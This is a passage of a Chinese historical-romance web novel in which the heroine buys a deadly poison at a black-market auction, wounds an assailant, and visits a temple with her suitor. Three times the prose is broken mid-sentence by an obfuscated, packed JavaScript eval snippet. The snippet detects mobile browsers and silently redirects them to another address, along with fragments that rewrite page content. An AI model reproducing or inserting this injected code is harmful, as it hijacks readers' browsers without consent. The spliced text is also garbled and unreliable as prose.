她一股脑地喝掉了一大半香饮子,手中的烤鸡也全都被吃完了,裴砚用水把她的右手冲洗干净,然后掏出自己的手帕给她擦干净。 裴砚叫她继续去跟金羽玩骰子,他自己则是留下来收拾桌子上面的垃圾。 薛嘉玉一时间像是被幸运之神眷顾了一般,盘盘都赢,愣是把金羽全身上下所有的银子和少量金子都给赢走了。 金羽暗自神伤,摸了摸自己空空如也的钱袋子,相反,薛嘉玉则是在裴砚面前一蹦一跳的,炫耀着自己赢来的钱。 裴砚见时间也差不多了,就带着薛嘉玉一块离开了永生赌坊,路上薛嘉玉手里捧着那些银子和金子,大致算了一下,差不多赢了上百两! 原本薛嘉玉还在忧愁借的那些钱猴年马月才能还上,没想到今日自己的运气竟然如此好,都差不多能拿去还上一半了。 薛嘉玉小心翼翼地把这些钱收好,她主动挽上裴砚的臂弯,“文溪,你为什么会想要进大理寺啊?” “因为裴珩进了六部之一,本来裴家就树大根深,我若再进六部的话,恐怕就会引得圣人猜忌,所以我就去大理寺了。” “原来如此,那你有后悔过吗?” 裴砚思考了一会儿,旋即摇摇头,“没有。怎么突然问我这些?” “我就是想要多了解了解你嘛。” 说到这里,裴砚的步子蓦地顿下,薛嘉玉的眸中浮现出一丝疑惑,她仰起头来正想询问,可裴砚就先开了口,只见他难得摆出一副正经的模样,“那你也跟我说一些你的事情吧,我好像······都不了解你。” 薛嘉玉脸上的神情凝固了一瞬,她转而笑了一声,佯装镇定地说:“我能有什么事情可说?从小到大都是老实本分地长大的,没有经历过什么惊天骇地的事情,说出来你定会觉得很无聊的。” “不”这个字刚到裴砚嘴边,还没有说出来,就被薛嘉玉给强行打断了,她牵着裴砚的手腕,大步流星地朝着前面走,“我们还是快些回去吧,勿要让兄嫂他们等急了。” 裴砚跟在后面,瞧见她的反应,不禁压低眉毛,他的眼眸晦暗不明,像是有一层浓雾笼罩着。 薛嘉玉脸上也同样显现出一种极其凝重的神色,她想裴砚应当是知道了点什么,所以才想要试探她的。 她浅浅在心里面叹了口气,无论怎样,能多瞒一刻是一刻。 薛嘉玉清楚他的性子,他若是知道了定然会帮自己,她实在不忍将他拖下水。 裴砚见她闭口不谈,也不想要勉强她,逼迫她说出来的话兴许会造成两败俱伤的场面,她的伤疤应当由她自己来揭开。 回到裴府,裴珩他们已然吃完了晚膳,蒋宁显拿着一把剪刀,在花园里修剪枝叶,而裴珩则是在书房里忙公务。 这次裴砚竟难得没有跟着薛嘉玉进她的厢房,而是去了书房,说是有什么事情想跟裴珩谈谈。 薛嘉玉也没有往深了问,她点了点头,叮嘱裴砚,“不要忙太晚了。” 她回到厢房,这里只有她一个人,薛嘉玉瞬间将自己身上的压力卸了下来,她只觉得今天特别疲惫,薛嘉玉连沐浴也懒得沐浴了,卸了头上的簪钗后就直接爬上床了。 她躺在床上,只觉脑子很乱,根本无法集中精力思考明日拍卖的事情,薛嘉玉两只眼睛无意识地眨着,她忍不住打了个哈欠,刚把眼睛闭上,就直接睡着了。 次日醒来的时候,薛嘉玉觉得脑袋昏昏沉沉的,她打来一盆凉水,双手捧起一滩冷水,狠狠泼向自己的脸蛋,现在总算是清醒了些。 她用手帕将脸上多余的水珠擦掉,接着就坐在妆台前,薛嘉玉今日打扮得比较素净,以免引人注目。 见裴砚已经离开裴府后,薛嘉玉才偷偷摸摸地离开裴府,她来到崔府的时候,崔景天和几个小厮已经候着了,见她来了,崔景天也没同她多寒暄几句,便直接吩咐小厮们把装满黄金的箱子抬起来。 小厮跟着薛嘉玉一同上了深山,穿过层层老林,这五百两黄金的重量可不轻,四个小厮抬得大汗淋漓,薛嘉玉让他们几个就候在门口,听她指令。 黑市的人知道薛嘉玉是来参加拍卖会的,便领着她来到二楼的一间包厢,这里群英荟萃,各个都坐在席上蠢蠢欲动,薛嘉玉随便找了一个靠后排的地方坐下。 其实来参加拍卖的人并不多,但这个情有可原,先不说爬这山要爬多久,最要紧的是今日拍卖的东西是堪比见血封喉的鬼仙蛊,价值上千两,不是寻常人家所求之物,亦不是他们能够买得起的东西。 别的那几位来参加拍卖的人发现这里居然混进来了一位小娘子,眸中尽是嘲笑,有位少了一只眼的中年男子转过身去,好整以暇地看着她,“这位美娇娘是不是走错地儿了啊?” 其他几位皆是捧腹大笑,完全没有顾及薛嘉玉。 这时又有一位大腹便便的男人笑着说:“小娘子,这个地方可不是你该来的,莫非你以为今日拍卖的东西是你们那些小娘子用的脂粉?” 薛嘉玉冷着脸,目光如寒刀一般扫在方才说话的那两个人身上,“我自然是知道今日拍卖的东西是什么,不用你们来提醒我。” 刚刚那位瞎子顿时怀疑自己的耳朵是不是听岔了? 瞎子的脑袋往后一缩,嘴巴撅起,眸中尽是蔑视,“哟,你一个美娇娘来买鬼仙蛊是想要毒死谁呀?你们女子在家安安分分地相夫教子就行了,杀什么人?会杀人吗?别到时候人没杀死,倒把自己的命给赔进去咯。” 薛嘉玉岿然不动地坐在椅子上,她单手撑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194743|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸颊,瞧起来还有种云淡风轻的模样,只听她淡淡道:“我要是拍下了鬼仙蛊,第一个就把你这个瞎子弄死。” 被一个小娘子给挑衅了,瞎子心里面是一万个不爽,他本想再置喙几句,可就在此时,一位矮胖矮胖,长得像个小土豆的男子手持一个宝箱,不疾不徐地站上了台。 他将宝箱小心翼翼地放在面前的桌子上,“各位宾客好,鄙人姓金,单名一个易。还望大家勿要争吵,公平竞争。” 金易打开宝箱,谨慎地从里面将一个透明罐子拿出来,里面装着漆黑的液体,他摊开双手,“今日我们将要拍卖的货品则是世所罕见的鬼仙蛊。众所周知,鬼仙蛊能将一个人一击毙命,就是玉皇大帝来了都救不了,因而成了无数杀手毕生所求之物。并且,由于鬼仙蛊制作流程复杂,很少有人会选择自制,所以它的价格在黑市一向是最高的。” “起拍价为500两银子,那么大家请尽情出价吧。” 话音刚落,宾客席上就响起此起彼伏的竞拍声。 “1000两。” “2500两。” “我出5000两!” “一万两!” 他们为了鬼仙蛊争得你死我活,唯独薛嘉玉一直在旁边默默围观,她没有出价,而是在旁边观察。 她在等,在等一个合适的时机,等某个猪头将价格都抬到了一个别人不敢继续抬价的地步,这样就轮到她出价了。 那个瞎子瞧她一直没有出价竞拍,就知道她肯定是没那么多钱去竞价,瞎子的嘴角不禁上扬,那是一个很明显的嘲讽。 瞎子得意地摇头晃脑,眸中尽是傲慢,他出声竞价,“三万两。” 旁边的一些宾客都觉得这人简直就是疯了,方才价格还是一万两,现在就立刻翻了一倍多。 可鬼仙蛊是稀罕玩意儿,错过了这次,还不知道下一次要等多久呢。 原先那个大腹便便的男子咬咬牙,“我出五万两。” 瞎子继续面不改色地抬价,“八万两。” 薛嘉玉发现这个瞎子好像就是拿捏了其他人势必要拍下鬼仙蛊的心理,因此故意抬高价。 可是这样做对他来说又有什么好处呢? 拍卖所得价也不会分给他啊。 其他人见价格被抬到了这么高,有些犹豫不决,迟迟不敢出声竞价。 薛嘉玉正打算开口喊价,便有一道男子的声音落在了她的耳畔。 只听那男子出价:“九万两。” 这个价格一出,众人皆是唏嘘一声,就连那个抬价的瞎子也不喊价了。 毕竟再喊价的话,就要到十万两白银了,那可不是一笔小数目。 金易见目前没有人敢出价,便开口说:“九万两一次!” “九万两两次!” “九——” 薛嘉玉蓦地出声,字字掷地有声,“十万两。” 听见有人出价十万两,金易两只眼睛瞬间明亮了不少,他一锤定音,“十万两成交!” 那个瞎子没想到她居然真能拍下鬼仙蛊,还是以十万两的价格,他心里面甚是气不过,阴阳怪气地开口:“哟,十万两银子,喊出来是很容易,就是不知道这位美娇娘能不能给得起啊?” 其他错失鬼仙蛊的宾客也皆是附和,有个独臂的男子说:“就是,你们看她浑身上下连一样之前的东西都没有,哪里像是能拿出十万两白银的样子?小娘子,可莫要赖账啊。” 金易也怕遇见赖账的顾客,于是同薛嘉玉好生解释:“这位小娘子,是这样的,拍卖呢是你拍下这样东西后,就必须得要以你喊出来的价格购买的,而且当场一手交钱一手交货的哦。” “我知道。” “那我们一块去外面交易吧?” “不。”薛嘉玉的视线扫在他们每个人身上,最后停留在了瞎子身上,她饶有兴趣地勾起唇角,“就在这里吧,免得一会儿又有人瞧不起我这位小娘子,说不定到时候还会在背后议论我和金郎君您进行了什么见不得人的桃色交易呢。” 金易迟疑地点了点头,“也行,那……小娘子请把十万两银子一分不少地拿给我吧。” 薛嘉玉回头冲着门外喊了一声,“你们进来吧。” 随后她从椅子上站了起来,单挑眉稍,左手摊开,指向小厮们费力抬进来的大箱子,“十万两银子太多,清算起来不方便,所以我准备了别的。” 48. 流血 四位小厮将大箱子“砰”的一声卸在地上,扬起了地面上的滚滚尘土,小厮将肩膀上地担子取下来,不必薛嘉玉多费口舌,就主动将盖子揭开。 众人很是好奇这位小娘子究竟准备了什么东西,纷纷抱着看笑话的心态一块儿凑了过去,可是等看清里面的东西后,他们的眼睛都要要被闪瞎了。 里面全部都是金子! 金易见过黄金,但是没有见到那么多的金子,他一脸震惊地从台上走到箱子面前,忍不住弯腰用手摸了摸那金子的质感,眸光一亮,“哎呀呀,全都是金子啊!” 薛嘉玉的眸中并未掀起任何波澜,“这里有整整五百两黄金,刚刚好。需要清点一下吗?” 金易见这些黄金用了这么大的箱子装着,数量定然不会有错,他两手合在一起搓了搓,脸上尽是谄媚的笑容,“不必!不必!我相信小娘子的人品。” 他将桌子上地鬼仙蛊递给她,“那这鬼仙蛊就请小娘子拿好了。” 薛嘉玉接过鬼仙蛊,直接转身离开此处,并未留下只言片语。 可是她刚离开黑市不久,身后就响起了那个瞎子的声音,薛嘉玉心中霎时有些惴惴不安,便加快脚步。 然而那个瞎子是个习武多年的,他三两下就绕到了薛嘉玉面前,伸出左臂,拦下她的去处,“小娘子,方才是耳朵聋了,没有听见本大爷叫你吗?” 薛嘉玉猜测此人恐是来生抢自己手里的鬼仙蛊的,她不禁将拿着鬼仙蛊的手背在了身后,“自己没实力把鬼仙蛊拍下,就来这儿生抢,不觉得很是胜之不武吗?” 瞎子可不管这些,只要能把东西拿到手就可以了,“你方才不是还说要第一个毒死我吗?” 话音刚落,瞎子就抬起左腿,毫不留情地朝着薛嘉玉踢来,幸好薛嘉玉眼疾手快,迅速护着鬼仙蛊往旁边一闪,这才免遭一难。 瞎子嗤笑一声,“哟,躲命还挺快的啊,只是后面的你可未必就躲得过了。” 薛嘉玉懒得和这种厚颜无耻的人浪费口舌,她敏捷地从袖子里掏出一把锋利的匕首,紧接着灵活地闪过了瞎子的每一次攻击,紧接着在电光火石之间迅速接近瞎子的身,随后毫不犹豫地将匕首狠狠扎进了他的大腿里! 汩汩鲜血立即从伤口中冒出来,瞎子吃痛地捂住自己的伤口,他抬起头来,双眸无情,充斥着恨意,呲着个大牙,好似草原上的野狼一般。 瞎子像是忽然打了鸡血一般,猛地站直身子,忽略大腿上传来的阵痛,接着便一股脑地冲着薛嘉玉奔来,直到与她仅有一壁之隔的时候,才从袖子里掏出一把短刀,短刀在空中划过一道美丽的弧线,划破了薛嘉玉的右臂。 血液渗透层层衣衫,薛嘉玉来不及去看伤势,紧紧握住匕首,弯着腰钻到瞎子的身后,趁着瞎子还没有反应过来,她一把将匕首插进瞎子的脊背,甚至还使劲儿往里面戳了戳。 这个地方不会立刻致死,但至少会让瞎子痛不欲生,甚至有可能终身瘫痪。 薛嘉玉担心在这里继续和他纠缠,会被其他人瞧见,而这把刀是万万不能带回去的,于是她只好原地刨了个洞,将匕首扔了进去,再用厚厚的雪把洞填平。 随后,薛嘉玉拔腿就跑,待下了山,她就去西市买了一个木葫芦,将鬼仙蛊全都倒进葫芦里面,这样回到裴府后,也不会引人怀疑。 此时,她一直紧绷的神经才忽然放松下来,薛嘉玉也才终于感知到了右臂传来的疼痛,她将视线投到那道细长的伤口上,伤口依旧在滋啦滋啦地冒着鲜血,层层衣衫已经被鲜血然后,而那些早已凝固的血迹将衣衫和伤口糊在了一起,光是瞧着都让人觉得不忍直视。 薛嘉玉瞧着现在天色还早,裴砚应当没有从大理寺回来,就加紧脚步回到裴府,速速将伤口处理了。 可刚一迈进裴府的大门,她就与裴砚的眼神撞在了一起。 裴砚本想问她去做什么了,可却注意到她右臂上的伤口,他大步流星地走过去,什么都没有问,而是一把揽住她的腰,转头向旁边的小厮吩咐:“去拿点金疮药和白布送到我屋里。” 小厮连连应是。 一路上,他都没有说话,薛嘉玉自然也不会不打自招。 等进到裴砚房里的时候,他把薛嘉玉摁在罗汉床上好好坐着,裴砚的脸色不太好看,“疼不疼?” 薛嘉玉见他不问自己是怎么弄伤的,还觉得甚是奇怪,她点点头,“疼。” 小厮手脚麻利,迅速将裴砚要的东西送来了。 裴砚的两只手悬在半空,“要上药,我得把你的衣裳脱了。” “哦……好。”薛嘉玉不明白他为什么这么羞涩,他又不是第一次给她脱衣服了。 他动作轻柔地给薛嘉玉褪下衣衫,衣服与那伤口黏在了一起,脱下来的时候,薛嘉玉不禁发出痛苦的呻吟声,她的额头顿时冒出豆大的汗珠,眉头紧紧锁在一起,看起来痛苦不堪。 裴砚看她都把头撇过去了,而且脖子还在流汗,就知道她肯定觉得很疼,他轻轻地将最后一件衣衫揭开,薛嘉玉半只手臂裸露在外,裴砚将金疮药倒在她的伤口上,疼得她连忙把手臂收了回来,汗珠顺着面颊划过,大汗淋漓。 他知道这很疼,但是这伤口并不浅,不上药是万万不行的,裴砚强行将她的右臂拉了过来,一边继续给她上药,一边柔声安慰:“我知道很疼,但是不能不上药,你看看你都流了多少血,要是被长嫂知道了,还不知道会如何怪罪我没有照顾好你。以后你要是去哪儿玩,只要我有空,我就陪着你,以免你又受伤。” 见他迟迟不问自己的伤是如何造成的,薛嘉玉心里面却突然有些不安,她蓦地希望裴砚能够问自己这伤是如何造成的。 他一直不问,薛嘉玉便总是会觉得他好像在和自己故意拉开距离,但偶尔她又觉得裴砚明明知道了一些关于自己的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200266|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>有的时候薛嘉玉希望他一直不要问,有的时候她又希望裴砚可以一次性全部都问出来,要是能骂她几句更好,骂她没有把裴砚当成一种依靠,骂她不信任裴砚,或是别的也好。 裴砚给她抹完药后,就用白布给她包扎好伤口,“以后还是莫要一个人出门了,带个小厮在身边吧。” 薛嘉玉连忙摇头拒绝,“别,我不喜欢有人跟着我,总觉得像是在监视我一般。” 他本来想执意给薛嘉玉安排个侍女陪着她的,可他转念一想,又觉得算了,裴砚没有勉强她,“好,都听你的。不过你之后出门一定要小心一些。” 见他聪罗汉床上站起来,正欲离开此处,薛嘉玉就立刻伸出手牵住裴砚,“文溪,你能不能陪我一会儿?” 裴砚虎躯一震,他的眸中划过一丝惊讶,若是他没有记错的话,这应该是薛嘉玉清醒的时候第一次主动挽留他。 他心下一软,便往回走了一步,重新坐在罗汉床上,尚未来得及问她想要说什么,就瞧见薛嘉玉主动挪到他腿上坐着。 薛嘉玉双腿岔开,跪坐在裴砚的大腿上,她两手紧紧环住裴砚的腰,下巴搁在他的肩膀上,裴砚有些没反应过来,他偏过头去,盯着薛嘉玉的侧脸,“怎么了?受委屈了吗?还是遇到什么难处了?” 可是回应他的却是薛嘉玉的沉默。 裴砚立刻就慌了,他急迫地询问:“到底怎么了?” 薛嘉玉抿了抿嘴唇,最终还是没有勇气把那些事情全都讲出来,她将脑袋埋进裴砚的胸膛里,“就是觉得有点累。” 他轻柔且缓慢地拍着薛嘉玉的后背,“那明日你就不去礼佛了吧。” 她摇摇脑袋,“不行,得去。据说千佛寺很灵验的,我要去许愿,许好多好多的愿。” 听及此,裴砚鬼使神差地问了一句:“那你的这么多愿望里有我的位置吗?” 薛嘉玉猛地抬起脑袋,她甚是不解,“怎么突然这么问?” 但这一次,裴砚似乎没有那么好说话了,他好似又变成了第一次二人见面时那副冷若冰霜的模样,他的嗓音沉了沉,又问了一次,“有我的位置吗?” 薛嘉玉几乎是毫无犹豫地就给出了答案,“当然有啊。” 可是她留意到裴砚听见这句话后,脸上并没有浮现出什么开心的神色,薛嘉玉觉得他好像比前几日变了不少,她本想问问,可裴砚却没有给她任何一丝可乘之机。 他毫不犹豫地离开了厢房。 待那扇门被合上,薛嘉玉顿时潸然泪下,她将左手臂曲在旁边的桌子上,额头抵着手臂,无声地啜泣着。 薛嘉玉哭得浑身颤抖,此时,厢房门忽然间被人推开,发出了响亮的嘎吱声。 她吓得连忙蹭起来,用袖子将脸上的泪水擦拭干净,薛嘉玉转头一看,却见进来的人是裴砚,她瞬间从罗汉床上下来,小步跑到裴砚面前,“你刚刚不是走了吗?” 49. 许愿 裴砚将手里端着的一盘煎饼在她眼前晃了晃,“给你拿点煎饼来吃。” 薛嘉玉一时间心中百感交集,千言万语涌到嘴边,她却一时间不知道该怎么说了,她伸手接过盘子,拈起一块煎饼塞进嘴里,她嚼了几口,发觉这个煎饼并不是蒋宁显做的。 这个煎饼有一面都煎糊了,而且这饼里面夹着的肉沫也太多了一点吧。 “你在哪里买的煎饼啊?都煎糊了。” 裴砚试探着问:“你不喜欢吗?很难吃吗?” “倒也不是很难吃,主要是糊糊的,而且里面的肉也夹的太多——”薛嘉玉忽地不说话了,她似乎意识到了什么,不可置信地问:“这个煎饼是你做的?” 他点点头,然后一把夺过薛嘉玉手里面那盘被嫌弃得体无完肤的煎饼,“那就不吃了,我一会儿去外面给你买。” 薛嘉玉不想让他失望,就伸手把煎饼又抢了回来,她拿起方才被咬了一口的煎饼,一口吃了进去,“别呀,我觉得这煎饼虽然有着这么多的缺点,但是吃起来却别有一番风味,看得出来烙煎饼的这个人厨艺十分高超。” 裴砚彻彻底底地被她的口才给折服了,他坐在凳子上,盯着面前吃着煎饼的薛嘉玉,“明日,你记得早点起来。” “放心吧,我可不会在关键时刻掉链子。” 他似是突然又想起了一件事情,“明日午时我们也会在千佛寺吃斋饭,你要是怕吃不饱,明早就偷偷揣两个煎饼在身上。” 薛嘉玉倒是也想,但是她怕被裴砚的爹娘发现,所以想了想,还是觉得算了,“还是别了吧,一会儿要是被伯父伯母闻到了我身上的煎饼味可怎么办?” 但是裴砚怕她饿着,那千佛寺比较远,来回要花上不少时间,而且那千佛寺的斋饭可是要有多素有多素,甚至还不允许多添饭,那住持说是什么在菩萨面前要勤俭节约。 裴砚登时有了个好主意,他提议:“没事,我给你揣着。” 薛嘉玉原以为他只是跟自己开玩笑的,没想到第二天在去往千佛寺的马车上,裴砚忽然间从大氅里面掏出两个煎饼。 她不可思议地盯着裴砚手里的两个煎饼,“你……当真揣了两个煎饼啊?” “对啊,这不是怕你饿嘛。”裴砚将一块煎饼递到她眼前,“你要不先吃一个垫垫肚子?方才在府里的时候,我瞧你都没怎么动早点。” 废话,当时在府里的时候,裴砚的母亲霍玉燕拉着她的手,热络地寒暄了好长一段时间,不知道的还以为是户部的人来了呢。 而且用早膳的时候,霍玉燕就坐在薛嘉玉旁边,她哪里好意思像平时那样抄起一块糕点就往嘴巴里面塞? 薛嘉玉只好假模假样地用勺子舀了几勺粥来喝,还没吃到五分饱,就依依不舍地用手帕擦了擦嘴角,昧着良心说自己已经吃饱了。 她接过裴砚递过来的煎饼,两手捧着已经有点凉的煎饼,然后毫无顾忌地开始疯狂啃咬,薛嘉玉差点都噎着了,一整块煎饼她愣是只用了四口就吃完了。 裴砚叹了口气,“你说你,早膳也不多吃点。” “这不是因为霍夫人坐在我旁边嘛,虽然我没抬头,但我总感觉她一直盯着我。” “我娘人挺好的,你不必害怕她,她就是对你好奇了些。” 这哪里是好奇了些? 分明是非常好奇! “我怕我说错话,惹伯母生气。” 他两手抱住薛嘉玉的腰,将她放在自己身上,裴砚将下巴放在她的肩膀上,“手臂还疼吗?” 薛嘉玉摇摇头,“不疼,多谢了你的药。” 等马车一路驶向千佛寺,已然是半个时辰后的事情了。 裴砚先行下了马车,然后扶着她慢慢下来,薛嘉玉站稳后,便抬起头来,入目的是一座庄严肃穆的寺庙,金漆斑驳,飞檐翘角,尽显一番大气。 千佛寺的左右两边各种下了一颗百年古树,据说是先帝来此处祭拜之时,亲手种下的,如今树苗已长成参天大树,为后人遮风挡雨,古树叶叶相交通,一派青翠之色,晨时的阳光并不强烈,光线透过树叶缝隙,在地面上洒下斑驳的倒影。 这千佛寺倒真给人一种世外桃源的感觉。 几人一同踏进了千佛寺,没曾想里面的千佛寺亦是另外一番景象,大殿巍峨,雕梁画栋,朱红色的墙壁上雕刻着轻盈灵动的飞天,也刻有一扇石头制成的圆窗,窗户采用镂空的设计,用石头展现了一副二龙戏珠的画面,活灵活现,栩栩如生,可见工人的技艺是多么的炉火纯青。 他们一同拜了一下弥勒佛,祈求家庭和睦,兄友弟恭。 随后他们踏着已经被风雨磨得快没有棱角的阶梯,来到一处小院子,这里栽着一颗枯树,虽然纸条上已然无甚新叶,但上面系着无数条红带,每一条红带上都记载着不同的人不同的心愿。 霍玉燕也去取了六根红带,分别递给他们几个,“你们也用毛笔写下自己的愿望,这千佛寺可灵的很,说不定还真能实现呢?” 裴砚将红带和蘸好了墨水的毛笔递给薛嘉玉,“你不是一向都很喜欢钱吗?来,求点财运,来年定会财运亨通。” 她接过毛笔,有些犹豫,薛嘉玉沉思了一会儿才道:“钱财这种玩意儿,命里有时终须有,命里无时莫强求。这一次,我要求一点别的。” 墨水一滴一滴地顺着毫毛滑落,接着嘀嗒嘀嗒掉在带子上,裴砚本想给她换一个,可是薛嘉玉拿起红带瞧了一眼,却拒绝了。 她背对着裴砚,神神秘秘地拿起毛笔,在狭窄的红带上写下歪歪扭扭地几个字——愿能大仇得报,平平安安。 最后她在方才沾染了墨渍的地方,利用这几滴墨渍画了一个大大的猪头,然后在旁边特意备注了猪头的名字——裴砚。 写好之后,裴砚本来想要好奇地凑过来瞅瞅,可是薛嘉玉却立马把红带系在了树上,根本不给他丝毫偷看的机会。 薛嘉玉一向都是奉行宽于律己,严于律人这八个大字,虽然她不肯拿给裴砚看,但这并不代表她不想看裴砚的,因此薛嘉玉偷偷摸摸溜到裴砚身后,将视线投向他手里的红带上。 不得不说,上过私塾的人确实写的出一手好字,哪里像她的?薛嘉玉的字简直和狗扒没有两样。 只见裴砚握着毛笔,在上面洋洋洒洒写下了四个大字——我不信佛。 薛嘉玉看清楚那四个字的时候,眉毛不禁一挑。 她想,当面在佛祖面前说出此等大逆不道的话来恐怕也就只有裴砚才能做得出来吧。 裴砚将毛笔放好,随后就把红带系到了一个最显眼的位置,好似是存心要气一气佛祖。 薛嘉玉凑过去,好奇一问:“你为什么要写这四个字啊?就不怕惹佛祖生气?” 只见他抬起右手,不轻不重地弹了一下薛嘉玉的脑门,随即收回右手,裴砚双手抱在胸前,好整以暇地将视线落在薛嘉玉的脑门上,“不是我说你,你怎么那么相信鬼神之说?事在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203689|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为,明白吗?” 她吃痛地用手掌心揉了揉那片发红的额头,“那老人们还总说,尽人事听天命呢。” 薛嘉玉懒得和裴砚这个“暴力狂”多费口舌,干脆挪到蒋宁显身边去,她两只手抱住蒋宁显的右臂,脑袋搁在她的肩膀上,冲她软软地撒娇,“长嫂,裴砚他欺负我。” 蒋宁显偏过头看着她,抬起手摸了摸薛嘉玉那肤如凝脂的脸蛋,她的目光甚是温柔,含笑道:“文溪怎么欺负你了?” 她添油加醋地回答:“他说我不懂得珍惜,还弹我脑门!” 蒋宁显忍俊不禁,她轻轻捏了捏薛嘉玉的脸蛋,“文溪就是这种性子,他应当是跟你开玩笑呢。” 薛嘉玉瞧见她手里的红带上写了密密麻麻的好几个字,登时有些好奇,“长嫂,你许了什么愿啊?” 她倒也不掩饰,大大方方地将手里的红带展示给薛嘉玉看,“我也是个要当娘的人了,自然是许愿孩子能够平安诞生,快乐长大。” 说着,蒋宁显就踮起脚尖,想要把红带系得高一点,紧一些,但是她重心不稳,摇摇晃晃的,总是系不好这根带子。 一旁的裴珩实属有些看不下去,便大步走上前,接过她手心里的红带,然后轻而易举地系在了树枝上。 见状,自知不应打扰他们俩恩爱的薛嘉玉立刻溜到了裴砚身边,裴砚瞧见她主动跑过来了,忍不住嗤笑一声,“怎么?和长嫂吐苦水吐完了?” 薛嘉玉微挑眉梢,佯装什么事情都没有发生过的样子,“什么吐苦水?你可别胡说。” 裴砚懒得和她计较,单手绕过她的身后,一把握住她的肩头,带着她又上了一层楼,这里有一近千年石窟,据闻是前朝某位酷爱礼佛的皇帝所建,墙上雕刻着千手观世音菩萨,菩萨的双眼朝下,好似是在怜悯众生,她的身上好似还披着一件如云烟般的披帛,简直就是飘飘乎如遗世独立。 她身姿挺拔地跪在菩萨面前,双手合十,虔诚地伏拜了三下。 裴砚瞧她拜得如此认真,索性也跟着跪在她的身边,他依样画瓢,在心里面默念。 若你真如阿玉所说的那样灵验,那就保佑她平平安安,让她能够成功实现心中所愿,也希望她不要被仇恨给蒙蔽了双眼。 他睁开双眼,发现身边跪着的人不见了,裴砚心下一慌,正打算起身去找,然而下一刻他面前的一切全都化为黑色。 不过裴砚并没有慌张,反而是更加冷静,他用双手扣住挡在自己眼睛前面的那双手,“阿玉,闹够了吗?” 薛嘉玉收回双手,没见到他被吓到的样子只觉得十分遗憾,她无趣地撇撇嘴,“你这人怎么这么无趣?” “就你这点小把戏,还想吓唬我?” 她没有说话,只站在原地一动不动,两手抱在胸前,双眸死死地盯着裴砚。 裴砚顿觉芒刺在背,他走到薛嘉玉身后,二话不说就直接弯腰将她从地上横抱起来,薛嘉玉吓了一跳,她躺在裴砚的怀里,像条待宰的鱼一样不断地扑棱着。 他双手往上面抬了抬,“能不能别晃?一会儿摔了怎么办?” 薛嘉玉瞧他走上了一条狭窄的小道,她从未来过千佛寺,不知道这条曲径通向何处。 “你要带我去哪儿?” 裴砚垂眸,细长的睫毛遮住了他的眸色,只瞧他勾起唇角,不着调地回应着,“当然是带着你去那后山的姻缘树瞧瞧,那儿还有一位大师擅长算命,顺道让她给你我算算姻缘。” 50. 越褚 薛嘉玉用手狠狠掐了一下他的胸,“咱俩的事儿还八字没一撇呢,算哪门子的姻缘?” 裴砚腾不出手制止她的恶霸行为,只恶狠狠地威胁:“捏我干嘛?信不信我松手?” 闻言,她悻悻将手收了回来,薛嘉玉总觉得他这样在寺庙里面抱着自己有种很不自然的感觉。 “裴砚,你把我放下来吧。” 然而裴砚不肯松口,他瞥了一眼旁边的悬崖峭壁,一颗石子掉下去顿能瞬间消失得无影无踪,“这条路比较狭窄,我怕你走不稳,一不小心掉下去了。” 薛嘉玉皱着眉头,她心说自己哪有这么弱? 裴砚一路抱着她来到千佛寺的后院,这里有一位大师席地而坐,面前摆着一张矮桌,大师手边放着几本经书,她一手盘着念珠,一手竖在身前,嘴里念叨着那经书里面的咒语。 他将薛嘉玉轻轻地放在地上,然后走到大师面前,朝她稽首,“妙云大师,许久未见,近日可好?” 闻言,妙云大师睁开双眼,她的眼角已然爬上几条明显的皱纹,虽已年近五十,但是她的那双眼眸仍旧澄澈,她将目光挪到裴砚身上,“裴施主,好久不见了,今日怎主动来找我了?” 裴砚回头瞧了眼薛嘉玉,冲她招招手,“妙云大师,今日前来,我是想让你为她算算姻缘。” 妙云大师断绝红尘甚久,但她也是个活得通透清醒的人,看得出来他们二人之间的情丝,她慈祥一笑,“我看你呐,是想要让我瞧瞧你们二人之间的姻缘吧。” 只见他冲着妙云大师比了一个噤声的手势。 薛嘉玉被迫摁在了妙云大师面前坐着,她按照妙云大师说的摊开左手,她眼珠子一转,忽然出声:“大师,能顺便把我算算财运吗?” 妙云大师为人随和,很好说话,“可以。” 她结合薛嘉玉给出的生辰八字,很快便有了答案,“你们二人的生辰八字很是符合,姻缘契合,当是上上签。但我瞧你的手相,你子嗣缘薄,应当是一脉相传,想必你应该也没有兄弟姐妹吧?你的命格复杂,不是一般人可解的,不过成事在人,命格也是可以通过你的每一次选择改变。” 